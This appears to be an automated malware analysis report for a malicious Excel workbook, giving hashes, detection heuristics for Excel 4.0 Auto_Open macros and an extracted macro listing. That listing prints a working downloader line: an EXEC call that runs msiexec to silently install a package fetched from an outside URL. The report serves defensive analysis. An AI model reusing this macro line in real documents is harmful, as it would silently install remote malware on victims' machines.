Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 976fc8e82dc2c1b6…

MALICIOUS

Office (OLE)

180.0 KB Created: 2018-12-19 10:42:12 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 9b0cc257a245f04bcd3766750335ad0c SHA-1: bd6e014b93e340376d58c19496c5132a2942ab0b SHA-256: 976fc8e82dc2c1b6ba7d8eecf37ca289c228b785c8ea4dbea6045e84580ed41c
242 Risk Score

Heuristics 5

  • XLM Auto_Open workbook with payload URL or enable-content lure critical OLE_XLM_AUTOOPEN_PAYLOAD_LURE
    Workbook contains an Excel 4.0 macro sheet with Auto_Open / Auto_Close and also exposes a payload URL or enable-content lure in the OLE bytes. This combination is a high-confidence XLM downloader/social-engineering pattern even when formula recovery cannot decode the full macro chain.
  • Excel 4.0 (XLM) Auto_Open + macro sheet critical OLE_XLM_AUTOOPEN
    Workbook contains an Auto_Open / Auto_Close defined name together with an Excel 4.0 macro sheet — the canonical XLM auto-execution shape used by malware families such as Emotet and QakBot.
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://office365advance.com/update Referenced by macro
    • http://www.iec.chReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 610 bytes
SHA-256: f3d250f688b2a6c9a8bec72ab5d27e1550b8515f2e1f21ccc3f0d1dc5c08e7a2
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -    0 : 
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0018     31 LABEL : Cell Value, String Constant - Auto_Open len=7 ptgRef3d    0 : !A1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'    0 : ,A1,EXEC("msiexec.exe serf=19 skip=1 /i http://office365advance.com/update /q OnStart='c:\windows\notepad.exe'"),""
'    0 : ,A2,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.